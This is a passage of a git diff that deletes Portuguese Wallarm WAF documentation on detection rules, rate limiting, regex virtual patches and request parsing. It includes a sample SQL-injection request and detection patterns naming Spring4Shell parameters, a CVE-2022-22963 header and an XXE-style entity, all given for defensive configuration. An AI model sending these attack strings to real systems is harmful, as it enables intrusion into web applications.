pelo Wallarm como maliciosos. -* O corpo da solicitação é do tipo `application/json`. - -O exemplo da solicitação cURL contendo [injeção de SQL](../../attacks-vulns-list.md#sql-injection): - -```bash -curl -H "Content-Type: application/json" -X POST https://exemplo.com/posts -d '{"emailAddress":"johnsmith@exemplo.com", "postHeader":"Injeções de SQL", "postBody":"Meu post descreve a seguinte injeção de SQL: ?id=1%20select%20version();"}' -``` - -Para ignorar injeções de SQL no parâmetro `postBody` das solicitações para `https://exemplo.com/posts/`, a regra **Ignore certos tipos de ataque** pode ser configurada da seguinte forma: - -![Exemplo da regra "Ignore certos tipos de ataque"](../../images/user-guides/rules/ignore-attack-types-rule-example.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/ignore-attacks-in-binary-data.md b/docs/latest-pt-BR/user-guides/rules/ignore-attacks-in-binary-data.md deleted file mode 100644 index fd27e13fe8..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/ignore-attacks-in-binary-data.md +++ /dev/null @@ -1,39 +0,0 @@ -# Ignorando sinais de ataque nos dados binários - -As regras **Permitir dados binários** e **Permitir certos tipos de arquivo** são usadas para ajustar as regras padrão de detecção de ataques para dados binários. - -Por padrão, o nó Wallarm analisa requisições de entrada para todos os sinais de ataque conhecidos. Durante a análise, o nó Wallarm pode não considerar os sinais de ataque como símbolos binários regulares e detectar erroneamente cargas maliciosas nos dados binários. - -Usando as regras **Permitir dados binários** e **Permitir certos tipos de arquivo**, você pode especificar explicitamente elementos de solicitação contendo dados binários. Durante a análise do elemento de solicitação especificado, o nó Wallarm ignorará os sinais de ataque que nunca podem ser passados nos dados binários. - -* A regra **Permitir dados binários** permite o ajuste fino da detecção de ataques para elementos de solicitação contendo dados binários (por exemplo, arquivos arquivados ou criptografados). -* A regra **Permitir certos tipos de arquivo** permite o ajuste fino da detecção de ataques para elementos de solicitação contendo tipos de arquivos específicos (por exemplo, PDF, JPG). - -## Criando e aplicando a regra - ---8<-- "../include-pt-BR/waf/features/rules/rule-creation-options.md" - -Para criar e aplicar a regra na seção **Regras**: - -1. Para ajustar as regras de detecção de ataques para os dados binários passados no elemento de solicitação especificado de qualquer maneira, crie a regra **Permitir dados binários** na seção **Regras** do console Wallarm. A regra consiste nos seguintes componentes: - - * **Condição** [descreve](rules.md#branch-description) os pontos finais para aplicar a regra. - * **Parte da solicitação** aponta para o elemento de solicitação original contendo os dados binários. - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" -2. Para ajustar as regras de detecção de ataques para certos tipos de arquivos passados no elemento de solicitação especificado, crie a regra **Permitir certos tipos de arquivo** na seção **Regras** do console Wallarm. A regra consiste nos seguintes componentes: - - * **Condição** [descreve](rules.md#branch-description) os pontos finais para aplicar a regra. - * Tipos de arquivos para ignorar os sinais de ataque. - * **Parte da solicitação** aponta para o elemento de solicitação original contendo os tipos de arquivos especificados. - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" -3. Aguarde a [compilação da regra ser concluída](rules.md). - -## Exemplo de regra - -Digamos que, ao usuário fazer o upload do arquivo binário com a imagem usando o formulário no site, o cliente envia a solicitação POST do tipo `multipart/form-data` para `https://example.com/uploads/`. O arquivo binário é passado no parâmetro do corpo `fileContents`. - -A regra **Permitir dados binários** ajustando a detecção de ataques no parâmetro `fileContents` é a seguinte: - -![Exemplo da regra "Permitir dados binários"](../../images/user-guides/rules/ignore-binary-attacks-example.png) \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/intro.md b/docs/latest-pt-BR/user-guides/rules/intro.md deleted file mode 100644 index a77a142cb4..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/intro.md +++ /dev/null @@ -1,38 +0,0 @@ -[link-request-processing]: request-processing.md -[link-rules-compiling]: rules.md - - -# Regras do Perfil de Aplicação - -Na guia *Regras*, você pode revisar e alterar as regras de manipulação de solicitações ativadas para o perfil de aplicação atual. - -O perfil de aplicação é uma coleta de informações conhecidas sobre as aplicações protegidas. É usado para ajustar o comportamento do sistema durante a análise de solicitações e seu processamento adicional no módulo pós-análise, bem como na nuvem. - -Para um melhor entendimento de como as regras de processamento de tráfego são aplicadas, é aconselhável aprender como o nó de filtro [analisa as solicitações][link-request-processing]. - -Um ponto importante sobre fazer alterações nas regras é que essas mudanças não entram em vigor imediatamente. Pode levar algum tempo para [compilar as regras][link-rules-compiling] e baixá-las nos nós de filtro. - -## Terminologia - -#### Ponto - -Um ponto é um parâmetro de solicitação HTTP. Um parâmetro pode ser descrito com uma sequência de filtros aplicados para o processamento de solicitação, por exemplo, cabeçalhos, corpo, URL, Base64, etc. Essa sequência também é chamada de *ponto*. - -Os filtros de processamento de solicitações também são chamados de analisadores. - - -#### Ramo de Regra - -O conjunto de parâmetros de solicitação HTTP e suas condições é chamado de *ramo*. Se as condições forem cumpridas, as regras relacionadas a este ramo serão aplicadas. - -Por exemplo, o ramo de regra `example.com/**/*.*` descreve as condições correspondentes a todas as solicitações para qualquer URL do domínio `example.com`. - - -#### Endpoint (Ramo Endpoint) -Um ramo sem ramos de regra aninhados é chamado de *ramo endpoint*. Idealmente, um endpoint de aplicação corresponde a uma função de negócios da aplicação protegida. Por exemplo, tal função de negócios como autorização pode ser um ramo de regra de endpoint de `example.com/login.php`. - - -#### Regra -Uma configuração de processamento de solicitações para o nó de filtro, o módulo de pós-análise, ou a nuvem é chamada de *regra*. - -As regras de processamento estão ligadas aos ramos ou endpoints. Uma regra é aplicada a uma solicitação somente se a solicitação atender a todas as condições descritas no ramo. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/rate-limiting.md b/docs/latest-pt-BR/user-guides/rules/rate-limiting.md deleted file mode 100644 index f876adfb79..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/rate-limiting.md +++ /dev/null @@ -1,117 +0,0 @@ -# Configurando o limite de taxa - -A falta de limitação de taxa está incluída na lista dos riscos de segurança API mais graves do [OWASP API Top 10 2019](https://github.com/OWASP/API-Security/blob/master/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting.md). Sem medidas adequadas de limitação de taxa, as APIs são vulneráveis a ataques como negação de serviço (DoS), força bruta e excesso de uso da API. Este artigo explica como proteger sua API e usuários com a regra de regulamentação de limite de taxa do Wallarm. - -O Wallarm fornece a regra **Definir limite de taxa** para ajudar a prevenir tráfego excessivo para sua API. Esta regra permite que você especifique o número máximo de conexões que podem ser feitas para um determinado escopo, garantindo também que as solicitações de entrada sejam distribuídas de maneira uniforme. Se uma solicitação exceder o limite definido, o Wallarm a rejeita e retorna o código que você selecionou na regra. - -O Wallarm examina vários parâmetros de solicitação, como cookies ou campos JSON, que permitem limitar as conexões não apenas com base no endereço IP de origem, mas também em identificadores de sessão, nomes de usuário ou endereços de e-mail. Este nível adicional de granularidade permite aperfeiçoar a segurança geral de uma plataforma com base em qualquer dado de origem. - -## Criando e aplicando a regra - -Para definir e aplicar o limite de taxa: - -1. Vá para Wallarm Console → **Regras** → **Adicionar regra**. -1. Em **Se a solicitação é**, [descreva](rules.md#branch-description) o escopo para aplicar a regra. -1. Em **Depois**, escolha **Definir limite de taxa** e defina um limite desejado para conexões com seu escopo: - - * Número máximo para as solicitações por segundo ou minuto. - * **Estouro** - número máximo de solicitações excessivas para serem armazenadas em buffer uma vez que o RPS/RPM especificado é excedido e a ser processado uma vez que a taxa volte ao normal. `0` por padrão. - - Se o valor for diferente de `0`, você pode controlar se deseja manter o RPS/RPM definido entre a execução de solicitações excessivas em buffer. - - **Sem atraso** indica o processamento simultâneo de todas as solicitações excedentes em buffer, sem o atraso do limite de taxa. **Atraso** implica o processamento simultâneo do número especificado de solicitações excessivas, as demais são processadas com atraso definido em RPS/RPM. - - * **Código de resposta** - código a ser retornado em resposta a solicitações rejeitadas. `503` por padrão. -1. Em **Nesta parte da solicitação**, especifique os pontos de solicitação para os quais você deseja definir limites. O Wallarm restringirá solicitações que tenham os mesmos valores para os parâmetros de solicitação selecionados. - - Todos os pontos disponíveis são descritos [aqui](request-processing.md), você pode escolher aqueles que correspondem ao seu caso de uso específico, por exemplo: - - * `remote_addr` para limitar conexões por IP de origem - * `json` → `json_doc` → `hash` → `api_key` para limitar conexões pelo parâmetro do corpo JSON `api_key` - - !!! info "Restrições no comprimento do valor" - O comprimento máximo permitido dos valores dos parâmetros pelos quais você mede os limites é de 8000 símbolos. -1. Aguarde a [compilação da regra ser concluída](rules.md). - -## Exemplos de regras - - - -### Limitando conexões por IP para garantir alta disponibilidade da API - -Suponha que a API REST de uma empresa de saúde permita que os médicos enviem informações do paciente por meio de uma solicitação POST para o endpoint `/patients` do host `https://example-host.com`. Este endpoint contém informações pessoais de saúde sensíveis, e é importante garantir que não seja abusado ou sobrecarregado por um grande número de solicitações. - -Limitar as conexões por IP dentro de um determinado período de tempo especificamente para o endpoint `/patients` poderia prevenir isso. Isso garante a estabilidade e disponibilidade do endpoint para todos os médicos, ao mesmo tempo que protege a segurança das informações do paciente, evitando ataques de DoS. - -Por exemplo, o limite pode ser definido para 5 solicitações POST por minuto para cada endereço IP da seguinte forma: - -![Exemplo](../../images/user-guides/rules/rate-limit-by-ip-for-patients.png) - -### Limitando conexões por sessões para prevenir ataques de força bruta nos parâmetros de autenticação - -Ao aplicar a limitação de taxa às sessões do usuário, você pode restringir tentativas de força bruta para encontrar JWTs reais ou outros parâmetros de autenticação para obter acesso não autorizado a recursos protegidos. Por exemplo, se o limite de taxa for definido para permitir apenas 10 solicitações por minuto por sessão, um invasor que tenta descobrir um JWT válido fazendo várias solicitações com diferentes valores de token atingirá rapidamente o limite de taxa e suas solicitações serão rejeitadas até que o período de limite de taxa expire. - -Suponha que seu aplicativo atribua a cada sessão de usuário um ID único e o reflita no cabeçalho `X-SESSION-ID`. O endpoint da API na URL `https://example.com/api/login` aceita solicitações POST que incluem um JWT do tipo Bearer no cabeçalho `Authorization`. Para esse cenário, a regra que limita as conexões por sessões parecerá assim: - -![Exemplo](../../images/user-guides/rules/rate-limit-for-jwt.png) - -A [regexp](rules.md#condition-type-regex) usada para o valor `Authorization` é ``^Bearer\s+([a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+[.][a-zA-Z0-9-_]+)$`. - -Se você usa JWT (JSON Web Tokens) para gerenciar as sessões do usuário, pode ajustar a regra para [descriptografar](request-processing.md#jwt) o JWT e extrair o ID da sessão de seu payload da seguinte maneira: - -![Exemplo](../../images/user-guides/rules/rate-limit-for-session-in-jwt.png) - -### Limitação de taxa baseada em User-Agent para prevenir ataques nos endpoints da API - -Vamos supor que você tenha uma versão antiga do seu aplicativo que tem algumas vulnerabilidades de segurança conhecidas que permitem aos invasores forçar a API do endpoint `https://example-domain.com/login` usando a versão vulnerável do aplicativo. Normalmente, o cabeçalho `User-Agent` é usado para passar versões de navegador / aplicativo. Para prevenir o ataque de força bruta através da antiga versão do aplicativo, você pode implementar uma limitação de taxa baseada em `User-Agent`. - -Por exemplo, você pode definir um limite de 10 solicitações por minuto para cada `User-Agent`. Se um `User-Agent` específico estiver fazendo mais de 10 solicitações distribuídas uniformemente por minuto, solicitações adicionais desse `User-Agent` são rejeitadas até que um novo período se inicie. - -![Exemplo](../../images/user-guides/rules/rate-limit-by-user-agent.png) - - - -### Limitando conexões por IDs de cliente para prevenir sobrecarga do servidor - -Vamos considerar um serviço da web que fornece acesso aos dados de pedidos de clientes para uma plataforma de comércio eletrônico. A limitação de taxa por ID de cliente pode ajudar a prevenir que os clientes façam muitos pedidos em um curto período de tempo, o que pode sobrecarregar a gestão de estoque e a realização de pedidos. - -Por exemplo, a regra que limita cada cliente por 10 solicitações POST por minuto para `https://example-domain.com/orders` pode parecer assim. Este exemplo considera que o ID do cliente é [passado](request-processing.md#json_doc) no objeto do corpo JSON `data.customer_id`. - -![Exemplo](../../images/user-guides/rules/rate-limit-by-customer-id.png) - -## Limitações e peculiaridades - -O recurso de limitação de taxa tem as seguintes limitações e peculiaridades: - -* A regra de limitação de taxa é suportada por todas as [formas de implantação do Wallarm](../../installation/supported-deployment-options.md) exceto pela imagem Docker baseada em Envoy. -* O comprimento máximo permitido dos valores dos parâmetros pelos quais você mede os limites é de 8000 símbolos. -* Se você tem vários nós Wallarm e o tráfego de entrada em cada nó atende à regra de limite de taxa, eles são limitados independentemente. -* Quando várias regras de limite de taxa se aplicam a solicitações de entrada, a regra com o menor limite de taxa é usada para limitar as solicitações. -* Se uma solicitação de entrada não tiver o ponto especificado na seção de regra **Nesta parte da solicitação**, então essa regra não é aplicada como limitação para essa solicitação. -* Se o seu servidor web estiver configurado para limitar conexões (por exemplo, usando o módulo NGINX [`ngx_http_limit_req_module`](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html)) e você também aplicar a regra do Wallarm, o servidor web rejeita as solicitações pelas regras configuradas, mas o Wallarm não. -* O Wallarm não salva solicitações que excedem o limite de taxa, apenas as rejeita retornando o código escolhido na regra. A exceção são solicitações com [sinais de ataque](../../about-wallarm/protecting-against-attacks.md) - elas são registradas pelo Wallarm mesmo se forem rejeitadas pela regra de limitação de taxa. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/regex-rule.md b/docs/latest-pt-BR/user-guides/rules/regex-rule.md deleted file mode 100644 index d3a4446a38..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/regex-rule.md +++ /dev/null @@ -1,125 +0,0 @@ -[link-regex]: https://github.com/yandex/pire - -[img-regex-example1]: ../../images/user-guides/rules/regex-rule-1.png -[img-regex-example2]: ../../images/user-guides/rules/regex-rule-2.png -[img-regex-id]: ../../images/user-guides/rules/regex-id.png - -# Regras de Detecção Definidas pelo Usuário - -Em alguns casos, pode ser útil adicionar uma assinatura para detecção de ataque manualmente ou criar um chamado *patch virtual*. Como tal, a Wallarm não usa expressões regulares para detectar ataques, mas permite aos usuários adicionar assinaturas adicionais com base em expressões regulares. - -## Adicionando uma Nova Regra de Detecção - -Para fazer isso, você precisa criar a regra *Criar indicador de ataque baseado em regexp* e preencher os campos: - -* *Expressão regular*: expressão regular (assinatura). Se o valor do seguinte parâmetro corresponder à expressão, essa solicitação é detectada como um ataque. A sintaxe e especificidades das expressões regulares são descritas nas [instruções sobre a adição de regras](rules.md#condition-type-regex). - - !!! alert "Alterando a expressão regular especificada na regra" - A modificação da expressão regular especificada na regra existente do tipo **Criar indicador de ataque baseado em regexp** resulta na eliminação automática das regras [**Desativar detecção de ataque baseada em regexp**](#partial-disabling-of-a-new-detection-rule) que usam a expressão anterior. - - Para desativar a detecção de ataque por uma nova expressão regular, por favor, crie uma nova regra **Desativar detecção de ataque baseada em regexp** com a nova expressão regular especificada. - -* *Experimental*: este indicador permite que você verifique com segurança o acionamento de uma expressão regular sem bloquear solicitações. As solicitações não serão bloqueadas mesmo quando o nó do filtro estiver definido para o modo de bloqueio. Essas solicitações serão consideradas como ataques detectados pelo método experimental e estarão ocultas da lista de eventos por padrão. Eles podem ser acessados usando a consulta de pesquisa `ataques experimentais`. - -* *Ataque*: o tipo de ataque que será detectado quando o valor do parâmetro na solicitação corresponder à expressão regular. - -* *nesta parte da solicitação*: determina um ponto na solicitação onde o sistema deve detectar os ataques correspondentes. - - --8<-- "../include-pt-BR/waf/features/rules/request-part-reference.md" - -### Exemplo: Bloqueando Todas as Solicitações com um Cabeçalho X-Authentication Incorreto - -**Se** as seguintes condições ocorrerem: - -* o aplicativo está acessível no domínio *example.com* -* o aplicativo usa o cabeçalho *X-Authentication* para autenticação do usuário -* o formato do cabeçalho é de 32 símbolos hexadecimais - -**Então**, para criar uma regra para rejeitar tokens de formato incorreto: - -1. Vá para a aba *Regras* -2. Encontre o ramo para `example.com/**/*.*` e clique em *Adicionar regra* -3. Selecione *Definir como um ataque com base em uma expressão regular* -4. Defina o valor *Regex* como `^(.{0,31}|.{33,}|[^0-9a-fA-F]+)$` -5. Escolha `Patch virtual` como o tipo de *Ataque* -6. Defina o ponto `Cabeçalho X-AUTENTICAÇÃO` -7. Clique em *Criar* - -![Primeiro exemplo de regra Regex][img-regex-example1] - -### Exemplo: Bloquear todas as solicitações com os parâmetros de corpo `class.module.classLoader.*` - -Uma das maneiras de explorar a vulnerabilidade 0-day no [Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html) (Spring4Shell) é enviar a solicitação POST com certos payloads maliciosos injetados nos seguintes parâmetros do corpo: - -* `class.module.classLoader.resources.context.parent.pipeline.first.pattern` -* `class.module.classLoader.resources.context.parent.pipeline.first.suffix` -* `class.module.classLoader.resources.context.parent.pipeline.first.directory` -* `class.module.classLoader.resources.context.parent.pipeline.first.prefix` -* `class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat` - -Se você usar o Spring Core Framework vulnerável e o [modo](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) do nó Wallarm for diferente de bloqueio, você pode prevenir a exploração da vulnerabilidade usando o patch virtual. A seguinte regra bloqueará todas as solicitações com parâmetros de corpo listados até mesmo nos modos de monitoramento e bloqueio seguro: - -![Virtual patch for specific post params](../../images/user-guides/rules/regexp-rule-post-params-spring.png) - -O valor do campo de expressão regular é: - -```bash -(class[.]module[.]classLoader[.]resources[.]context[.]parent[.]pipeline[.]first[.])(pattern|suffix|directory|prefix|fileDateFormat) -``` - -O nó Wallarm operando no [modo](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) de bloqueio bloqueia tais tentativas de exploração de vulnerabilidade por padrão. - -O componente Spring Cloud Function também possui a vulnerabilidade ativa (CVE-2022-22963). Se usar este componente e o modo do nó Wallarm for diferente de bloqueio, crie o patch virtual conforme descrito [abaixo](#example-block-all-requests-with-the-class-cloud-function-routing-expression-header). - -### Exemplo: Bloqueie todas as solicitações com o cabeçalho `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION` - -O componente Spring Cloud Function tem a vulnerabilidade ativa (CVE-2022-22963) que pode ser explorada injetando payloads maliciosos no cabeçalho `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION` ou `CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`. - -Se usar este componente e o [modo](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) do nó Wallarm for diferente de bloqueio, você pode evitar a exploração da vulnerabilidade usando o patch virtual. A seguinte regra bloqueará todas as solicitações contendo o cabeçalho `CLASS-CLOUD-FUNCTION-ROUTING-EXPRESSION`: - -![Virtual patch for specific header](../../images/user-guides/rules/regexp-rule-header-spring.png) - -!!! info "Bloqueando solicitações com o cabeçalho `CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`" - Esta regra não bloqueia solicitações com o cabeçalho `CLASS.CLOUD.FUNCTION.ROUTING-EXPRESSION`, mas o NGINX descarta solicitações com este cabeçalho como inválidas por padrão. - -O nó Wallarm operando no [modo](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) de bloqueio bloqueia tais tentativas de exploração de vulnerabilidade por padrão. - -There is also the 0-day vulnerability in [Spring Core Framework](https://docs.spring.io/spring-framework/docs/3.2.x/spring-framework-reference/html/overview.html) (Spring4Shell). Learn how to block its exploitation attempts with the [reqexp-based virtual patch](#example-block-all-requests-with-the-classmoduleclassloader-body-parameters). - -## Desativação Parcial de uma Nova Regra de Detecção - -Se a regra criada deve ser parcialmente desativada para um ramo específico, isso pode ser feito facilmente criando a regra *Desativar detecção de ataque baseada em regexp* com os seguintes campos: - -- *Expressão regular*: expressões regulares criadas anteriormente que devem ser ignoradas. - - !!! alert "Comportamento da regra se a expressão regular foi alterada" - A modificação da expressão regular especificada na regra existente do tipo [**Criar indicador de ataque baseado em regexp**](#adding-a-new-detection-rule) resulta na eliminação automática das regras **Desativar detecção de ataque baseada em regexp** que usam a expressão anterior. - - Para desativar a detecção de ataque por uma nova expressão regular, por favor, crie uma nova regra **Desativar detecção de ataque baseada em regexp** com a nova expressão regular especificada. - -- *nesta parte da solicitação*: indica o parâmetro que requer a configuração de uma exceção. - -**Exemplo: Permitir um Cabeçalho X-Authentication Incorreto para uma URL Designada** - -Vamos supor que você tem um script em `example.com/test.php`, e quer mudar o formato dos tokens para ele. - -Para criar a regra relevante: - -1. Vá para a aba *Regras* -1. Encontre ou crie o ramo para `example.com/test.php` e clique em *Adicionar regra* -1. Escolha *Desativar detecção de ataque baseada em regexp* -1. Selecione a expressão regular que você deseja desativar -1. Defina o ponto `Cabeçalho X-AUTENTICAÇÃO` -1. Clique em *Criar* - -![Segundo exemplo de regra Regex][img-regex-example2] - -## Chamada de API para criar a regra - -Para criar o indicador de ataque baseado em regexp, você pode [chamar a API Wallarm diretamente](../../api/overview.md) além de usar a UI do Console Wallarm. Abaixo estão os exemplos da chamada de API correspondente. - -A seguinte solicitação criará o indicador de ataque personalizado com base na regexp `^(~(44[.]33[.]22[.]11))$`. - -Se solicitações ao domínio `MY.DOMAIN.COM` tiverem o cabeçalho HTTP `X-FORWARDED-FOR: 44.33.22.11`, o nó Wallarm as considerará como ataques de scanner e bloqueará ataques se o [modo de filtragem](../../admin-en/configure-wallarm-mode.md) correspondente tiver sido definido. - ---8<-- "../include-pt-BR/api-request-examples/create-rule-scanner.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/rules/request-processing.md b/docs/latest-pt-BR/user-guides/rules/request-processing.md deleted file mode 100644 index f011f28e0e..0000000000 --- a/docs/latest-pt-BR/user-guides/rules/request-processing.md +++ /dev/null @@ -1,361 +0,0 @@ -# Análise e interpretação de solicitações - -Para uma análise efetiva de solicitações, a Wallarm segue os princípios: - -* Trabalha com os mesmos dados que a aplicação protegida. Por exemplo: - Se uma aplicação fornece uma API JSON, então os parâmetros processados também serão codificados no formato JSON. Para obter os valores dos parâmetros, a Wallarm usa um interpretador JSON. Existem também casos mais complexos onde os dados são codificados várias vezes — por exemplo, de JSON para Base64 para JSON. Tais casos requerem decodificação com vários interpretadores. - -* Considera o contexto do processamento de dados. Por exemplo: - - O parâmetro `nome` pode ser passado na criação de solicitações tanto como o nome do produto e como um nome de usuário. No entanto, o código de processamento para tais solicitações pode ser diferente. Para definir o método de análise de tais parâmetros, a Wallarm pode usar a URL da qual as solicitações foram enviadas ou outros parâmetros. - -## Identificando e interpretando as partes da solicitação - -Começando do nível mais alto da solicitação HTTP, o nó de filtragem tenta aplicar sequencialmente cada um dos interpretadores adequados para cada parte. A lista de interpretadores aplicados depende da natureza dos dados e dos resultados do treinamento anterior do sistema. - -A saída dos interpretadores se torna um conjunto adicional de parâmetros que tem que ser analisado de maneira similar. Às vezes, a saída do interpretador se torna uma estrutura complexa como JSON, array, ou matriz associativa. - -!!! info "Etiquetas do interpretador" - Cada interpretador possui um identificador (etiqueta). Por exemplo, `header` para o interpretador de cabeçalhos de solicitação. O conjunto de etiquetas utilizadas na análise da solicitação é exibido no Console Wallarm dentro dos detalhes do evento. Esses dados demonstram a parte da solicitação com o ataque detectado e os interpretadores que foram utilizados. - - Por exemplo, se um ataque foi detectado no cabeçalho `SOAPACTION`: - - ![Exemplo de etiqueta](../../images/user-guides/rules/tags-example.png) - -### URL - -Cada solicitação HTTP contém uma URL. Para encontrar ataques, o nó de filtragem analisa tanto o valor original quanto seus componentes individuais: **caminho**, **nome_da_ação**, **ext_da_ação**, **consulta**. - -As seguintes etiquetas correspondem ao interpretador de URL: - -* **uri** para o valor original da URL sem o domínio (por exemplo, `/blogs/123/index.php?q=aaa` para a solicitação enviada para `http://example.com/blogs/123/index.php?q=aaa`). -* **caminho** para um array com partes da URL separadas pelo símbolo `/` (a última parte da URL não está incluída no array). Se houver apenas uma parte na URL, o array estará vazio. -* **nome_da_ação** para a última parte da URL após o símbolo `/` e antes do primeiro ponto (`.`). Esta parte da URL sempre está presente na solicitação, mesmo que seu valor seja uma string vazia. -* **ext_da_ação** para a parte da URL após o último ponto (`.`). Pode estar faltando na solicitação. - - !!! alerta "Fronteira entre **nome_da_ação** e **ext_da_ação** quando há vários pontos" - Se houver vários pontos (`.`) na última parte da URL após o símbolo `/`, podem ocorrer problemas com a fronteira entre **nome_da_ação** e **ext_da_ação**, como: - - * Fronteira definida com base no **primeiro** ponto, por exemplo: - - `/modern/static/js/cb-common.ffc63abe.chunk.js.map` → - - * ... - * `nome_da_ação` — `cb-common` - * `ext_da_ação` — `ffc63abe.chunk.js.map` - - * Alguns elementos estão faltando após a interpretação, por exemplo: - - * `nome_da_ação` — `cb-common` - * `ext_da_ação` — `ffc63abe` - - Para corrigir isso, edite manualmente os pontos **nome_da_ação** e **ext_da_ação** no [formulário de edição avançada](rules.md#advanced-edit-form) do construtor de URI. - -* **consulta** para [parâmetros da string de consulta](#query-string-parameters) após o símbolo `?`. - -Exemplo: - -`/blogs/123/index.php?q=aaa` - -* `[uri]` — `/blogs/123/index.php?q=aaa` -* `[caminho, 0]` — `blogs` -* `[caminho, 1]` — `123` -* `[nome_da_ação]` — `index` -* `[ext_da_ação]` — `php` -* `[consulta, 'q']` — `aaa` - -### Parâmetros da string de consulta - -Os parâmetros da string de consulta são passados para a aplicação na URL de solicitação após o caractere `?` no formato `chave=valor`. A etiqueta **consulta** corresponde ao interpretador. - -Exemplo de solicitação | Parâmetros da string de consulta e valores ----- | ----- -`/?q=um+texto&check=sim` |
            • `[consulta, 'q']` — `um texto`
            • `[consulta, 'check']` — `sim`
            -`/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb` |
            • `[consulta, 'p1', hash, 'x']` — `1`
            • `[consulta, 'p1', hash, 'y']` — `2`
            • `[consulta, 'p2', array, 0]` — `aaa`
            • `[consulta, 'p2', array, 1]` — `bbb`
            -`/?p3=1&p3=2` |
            • `[consulta, 'p3', array, 0]` — `1`
            • `[consulta, 'p3', array, 1]` — `2`
            • `[consulta, 'p3', poluição]` — `1,2`
            - -### Endereço IP de origem da solicitação - -O ponto de solicitação para um endereço IP de origem da solicitação nas regras Wallarm é `remote_addr`. Este ponto é usado apenas na regra [**Definir limite de taxa**](rate-limiting.md) para limitar solicitações por IPs. - -### Cabeçalhos - -Os cabeçalhos são apresentados na solicitação HTTP e em alguns outros formatos (por exemplo, **multipart**). A etiqueta **header** corresponde ao interpretador. Os nomes dos cabeçalhos são sempre convertidos para maiúsculas. - -Exemplo: - -``` -GET / HTTP/1.1 -Host: example.com -X-Test: aaa -X-Test: bbb -``` - -* `[header, 'HOST']` — `example.com` -* `[header, 'X-TEST', array, 0]` — `aaa` -* `[header, 'X-TEST', array, 1]` — `aaa` -* `[header, 'X-TEST', poluição]` — `aaa,bbb` - -### Metadados - -As seguintes etiquetas correspondem ao interpretador para metadados da solicitação HTTP: - -* **post** para o corpo da solicitação HTTP -* **method** para o método da solicitação HTTP: `GET`, `POST`, `PUT`, `DELETE` -* **proto** para a versão do protocolo HTTP -* **scheme**: http/https -* **application** para o ID da aplicação - -### Interpretadores adicionais - -Partes complexas da solicitação podem requerer interpretação adicional (por exemplo, se os dados estão codificados em Base64 ou apresentados no formato de array). Nesses casos, os interpretadores listados abaixo são aplicados adicionalmente às partes da solicitação. - -#### base64 - -Decodifica dados codificados em Base64, e pode ser aplicado a qualquer parte da solicitação. - -#### gzip - -Decodifica dados codificados em GZIP, e pode ser aplicado a qualquer parte da solicitação. - -#### htmljs - -Converte símbolos HTML e JS para o formato de texto, e pode ser aplicado a qualquer parte da solicitação. - -Exemplo: `"aaa"` será convertido para `"aaa"`. - -#### json_doc - -Interpreta os dados no formato JSON, e pode ser aplicado a qualquer parte da solicitação. - -Filtros: - -* **json_array** ou **array** para o valor do elemento do array -* **json_obj** ou **hash** para o valor da chave do array associativo (`chave:valor`) - -Exemplo: - -``` -{"p1":"valor","p2":["v1","v2"],"p3":{"umachave":"umvalor"}} -``` - -* `[..., json_doc, hash, 'p1']` — `valor` -* `[..., json_doc, hash, 'p2', array, 0]` — `v1` -* `[..., json_doc, hash, 'p2', array, 1]` — `v2` -* `[..., json_doc, hash, 'p3', hash, 'umachave']` — `umvalor` - -#### xml - -Interpreta os dados no formato XML, e pode ser aplicado a qualquer parte da solicitação. - -Filtros: - -* **xml_comment** para um array com comentários no corpo de um documento XML -* **xml_dtd** para o endereço da esquema DTD externo sendo usado -* **xml_dtd_entity** para um array definido no documento DTD Entity -* **xml_pi** para um array de instruções a processar -* **xml_tag** ou **hash** para um array associativo de tags -* **xml_tag_array** ou **array** para um array de valores de tag -* **xml_attr** para um array associativo de atributos; só pode ser usado após o filtro **xml_tag** - -O interpretador XML não diferencia entre o conteúdo da tag e o primeiro elemento no array de valores para a tag. Ou seja, os parâmetros `[..., xml, xml_tag, 't1']` e `[..., xml, xml_tag, 't1', array, 0]` são idênticos e intercambiáveis. - -Exemplo: - -``` - -]> - - - - &xxe; - 123 - 234 - -``` - -* `[..., xml, xml_dtd_entity, 0]` — name = `xxe`, value = `aaaa` -* `[..., xml, xml_pi, 0]` — name = `xml-stylesheet`, value = `type="text/xsl" href="style.xsl"` -* `[..., xml, xml_comment, 0]` — ` teste ` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodName']` — `aaaa` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs']` — `123` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', xml_attr, 'check']` — `true` -* `[..., xml, xml_tag, 'methodCall', xml_tag, 'methodArgs', array, 1]` — `234` - -#### array - -Interpreta dados de array. Pode ser aplicado a qualquer parte da solicitação. - -Exemplo: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[consulta, 'p2', array, 0]` — `aaa` -* `[consulta, 'p2', array, 1]` — `bbb` - -#### hash - -Interpreta a array associativa de dados (`chave:valor`), e pode ser aplicado a qualquer parte da solicitação. - -Exemplo: - -``` -/?p1[x]=1&p1[y]=2&p2[]=aaa&p2[]=bbb -``` - -* `[consulta, 'p1', hash, 'x']` — 